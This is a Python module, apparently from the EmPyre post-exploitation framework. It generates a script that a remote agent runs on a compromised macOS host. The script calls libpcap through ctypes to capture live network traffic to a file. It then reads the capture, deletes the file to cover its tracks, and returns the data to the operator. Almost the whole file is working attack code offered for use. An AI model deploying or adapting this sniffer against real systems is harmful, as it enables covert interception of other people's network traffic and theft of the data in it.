1+ #!/usr/bin/python
2+ class Module :
3+ def __init__ (self , mainMenu , params = []):
4+ # metadata info about the module, not modified during runtime
5+ self .info = {
6+ # name for the module that will appear in module menus
7+ 'Name' : 'PcapSniffer' ,
8+
9+ # list of one or more authors for the module
10+ 'Author' : ['Alex Rymdeko-Harvey' , '@Killswitch-GUI' ],
11+
12+ # more verbose multi-line description of the module
13+ 'Description' : 'This module will do a full network stack capture.' ,
14+
15+ # True if the module needs to run in the background
16+ 'Background' : False ,
17+
18+ # File extension to save the file as
19+ 'OutputExtension' : "pcap" ,
20+
21+ # if the module needs administrative privileges
22+ 'NeedsAdmin' : True ,
23+
24+ # True if the method doesn't touch disk/is reasonably opsec safe
25+ 'OpsecSafe' : False ,
26+
27+ # Use on disk execution method, rather than a dynamic exec method
28+ 'RunOnDisk' : False ,
29+
30+ # the module language
31+ 'Language' : 'python' ,
32+
33+ # the minimum language version needed
34+ 'MinLanguageVersion' : '2.6' ,
35+
36+ # list of any references/other comments
37+ 'Comments' : [
38+ 'Using libpcap.dylib we can perform full pcap on a remote host.'
39+ ]
40+ }
41+
42+ # any options needed by the module, settable during runtime
43+ self .options = {
44+ # format:
45+ # value_name : {description, required, default_value}
46+ 'Agent' : {
47+ # The 'Agent' option is the only one that MUST be in a module
48+ 'Description' : 'Agent to run from.' ,
49+ 'Required' : True ,
50+ 'Value' : ''
51+ },
52+ 'MaxPackets' : {
53+ 'Description' : 'Set max packets to capture.' ,
54+ 'Required' : True ,
55+ 'Value' : '100'
56+ },
57+ 'SavePath' : {
58+ 'Description' : 'Path of the file to save' ,
59+ 'Required' : True ,
60+ 'Value' : '/tmp/debug.pcap'
61+ },
62+ 'PcapDylib' : {
63+ 'Description' : 'Path of the Pcap Dylib (Defualt)' ,
64+ 'Required' : True ,
65+ 'Value' : '/usr/lib/libpcap.A.dylib'
66+ },
67+ 'LibcDylib' : {
68+ 'Description' : 'Path of the std C Dylib (Defualt)' ,
69+ 'Required' : True ,
70+ 'Value' : '/usr/lib/libSystem.B.dylib'
71+ },
72+ 'Debug' : {
73+ # The 'Agent' option is the only one that MUST be in a module
74+ 'Description' : 'Enable to get verbose message status (Dont enable OutputExtension for this).' ,
75+ 'Required' : True ,
76+ 'Value' : 'False'
77+ },
78+ 'Imports' : {
79+ # The 'Agent' option is the only one that MUST be in a module
80+ 'Description' : 'List of required imports that must work for this module.' ,
81+ 'Required' : True ,
82+ 'Value' : ['ctypes' ,'threading' ,'sys' ,'os' ,'errno' ,'base64' ]
83+ },
84+ }
85+ # save off a copy of the mainMenu object to access external functionality
86+ # like listeners/agent handlers/etc.
87+ self .mainMenu = mainMenu
88+
89+ # During instantiation, any settable option parameters
90+ # are passed as an object set to the module and the
91+ # options dictionary is automatically set. This is mostly
92+ # in case options are passed on the command line
93+ if params :
94+ for param in params :
95+ # parameter format is [Name, Value]
96+ option , value = param
97+ if option in self .options :
98+ self .options [option ]['Value' ] = value
99+
100+ def generate (self ):
101+ script = '\n '
102+ imports = self .options ['Imports' ]['Value' ]
103+ for item in imports :
104+ script += "import %s \n " % item
105+ savePath = self .options ['SavePath' ]['Value' ]
106+ Debug = self .options ['Debug' ]['Value' ]
107+ maxPackets = self .options ['MaxPackets' ]['Value' ]
108+ libcPath = self .options ['LibcDylib' ]['Value' ]
109+ pcapPath = self .options ['PcapDylib' ]['Value' ]
110+ script += "DEBUG = %s \n " % Debug
111+ script += "PCAP_FILENAME = '%s' \n " % savePath
112+ script += "PCAP_CAPTURE_COUNT = %s \n " % maxPackets
113+ script += "OSX_PCAP_DYLIB = '%s' \n " % pcapPath
114+ script += "OSX_LIBC_DYLIB = '%s' \n " % libcPath
115+
116+
117+ script += R"""
118+ IN_MEMORY = False
119+ PCAP_ERRBUF_SIZE = 256
120+ packet_count_limit = ctypes.c_int(1)
121+ timeout_limit = ctypes.c_int(1000) # In milliseconds
122+ err_buf = ctypes.create_string_buffer(PCAP_ERRBUF_SIZE)
123+
124+ class bpf_program(ctypes.Structure):
125+ _fields_ = [("bf_len", ctypes.c_int),("bf_insns", ctypes.c_void_p)]
126+
127+ class pcap_pkthdr(ctypes.Structure):
128+ _fields_ = [("tv_sec", ctypes.c_long), ("tv_usec", ctypes.c_long), ("caplen", ctypes.c_uint), ("len", ctypes.c_uint)]
129+
130+ class pcap_stat(ctypes.Structure):
131+ _fields_ = [("ps_recv",ctypes.c_uint), ("ps_drop",ctypes.c_uint), ("ps_ifdrop", ctypes.c_int)]
132+
133+ def pkthandler(pkthdr,packet):
134+ cp = pkthdr.contents.caplen
135+ if DEBUG:
136+ print "packet capture length: " + str(pkthdr.contents.caplen)
137+ print "packet tottal length: " + str(pkthdr.contents.len)
138+ print(pkthdr.contents.tv_sec,pkthdr.contents.caplen,pkthdr.contents.len)
139+ print packet.contents[:cp]
140+
141+ if DEBUG:
142+ print "-------------------------------------------"
143+ libc = ctypes.CDLL(OSX_LIBC_DYLIB, use_errno=True)
144+ if not libc:
145+ if DEBUG:
146+ print "Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()]
147+ if DEBUG:
148+ print "* C runtime libary loaded: %s" % OSX_LIBC_DYLIB
149+ pcap = ctypes.CDLL(OSX_PCAP_DYLIB, use_errno=True)
150+ if not pcap:
151+ if DEBUG:
152+ print "Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()]
153+ if DEBUG:
154+ print "* C runtime libary loaded: %s" % OSX_PCAP_DYLIB
155+ print "* C runtime handle at: %s" % pcap
156+ print "-------------------------------------------"
157+ pcap_lookupdev = pcap.pcap_lookupdev
158+ pcap_lookupdev.restype = ctypes.c_char_p
159+ dev = pcap.pcap_lookupdev()
160+ if DEBUG:
161+ print "* Device handle at: %s" % dev
162+
163+ net = ctypes.c_uint()
164+ mask = ctypes.c_uint()
165+ pcap.pcap_lookupnet(dev,ctypes.byref(net),ctypes.byref(mask),err_buf)
166+ if DEBUG:
167+ print "* Device IP to bind: %s" % net
168+ print "* Device net mask: %s" % mask
169+
170+ #pcap_t *pcap_open_live(const char *device, int snaplen,int promisc, int to_ms, char *errbuf)
171+ pcap_open_live = pcap.pcap_open_live
172+ pcap_open_live.restype = ctypes.POINTER(ctypes.c_void_p)
173+ pcap_create = pcap.pcap_create
174+ pcap_create.restype = ctypes.c_void_p
175+ #pcap_handle = pcap.pcap_create(dev, err_buf)
176+ pcap_handle = pcap.pcap_open_live(dev, 1024, packet_count_limit, timeout_limit, err_buf)
177+ if DEBUG:
178+ print "* Live capture device handle at: %s" % pcap_handle
179+
180+ pcap_can_set_rfmon = pcap.pcap_can_set_rfmon
181+ pcap_can_set_rfmon.argtypes = [ctypes.c_void_p]
182+ if (pcap_can_set_rfmon(pcap_handle) == 1):
183+ if DEBUG:
184+ print "* Can set interface in monitor mode"
185+
186+ pcap_pkthdr_p = ctypes.POINTER(pcap_pkthdr)()
187+ packetdata = ctypes.POINTER(ctypes.c_ubyte*65536)()
188+ #print pcap.pcap_next(pcap_handle,ctypes.byref(pcap_pkthdr_p))
189+ if DEBUG:
190+ print "-------------------------------------------"
191+ pcap_dump_open = pcap.pcap_dump_open
192+ pcap_dump_open.restype = ctypes.POINTER(ctypes.c_void_p)
193+ pcap_dumper_t = pcap.pcap_dump_open(pcap_handle,PCAP_FILENAME)
194+ if DEBUG:
195+ print "* Pcap dump handle created: %s" % pcap_dumper_t
196+ print "* Pcap data dump to file: %s" % (PCAP_FILENAME)
197+ print "* Max Packets to capture: %s" % (PCAP_CAPTURE_COUNT)
198+ print "-------------------------------------------"
199+
200+ # CMPFUNC = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p)
201+ # def pkthandler_callback(pcap_pkthdr,pdata):
202+ # pcap.pcap_dump(pcap_dumper_t,pcap_pkthdr,pdata)
203+ # cmp_func = CMPFUNC(pkthandler_callback)
204+ # pcap.pcap_loop(pcap_handle, PCAP_CAPTURE_COUNT, cmp_func, 0)
205+
206+ c = 0
207+ while True:
208+ if (pcap.pcap_next_ex(pcap_handle, ctypes.byref(pcap_pkthdr_p), ctypes.byref(packetdata)) == 1):
209+ pcap.pcap_dump(pcap_dumper_t,pcap_pkthdr_p,packetdata)
210+ #pkthandler(pcap_pkthdr_p,packetdata)
211+ c += 1
212+ if c > PCAP_CAPTURE_COUNT:
213+ if DEBUG:
214+ print "* Max packet count reached!"
215+ break
216+ if DEBUG:
217+ print "-------------------------------------------"
218+ print "* Pcap dump handle now freeing"
219+ pcap.pcap_dump_close(pcap_dumper_t)
220+ if DEBUG:
221+ print "* Device handle now closing"
222+ if not (pcap.pcap_close(pcap_handle)):
223+ if DEBUG:
224+ print "* Device handle failed to close!"
225+ if not IN_MEMORY:
226+ f = open(PCAP_FILENAME, 'rb')
227+ data = f.read()
228+ f.close()
229+ os.system('rm -f %s' % PCAP_FILENAME)
230+ sys.stdout.write(data)
231+ """
232+
233+ # add any arguments to the end exec
234+
235+ return script
0 commit comments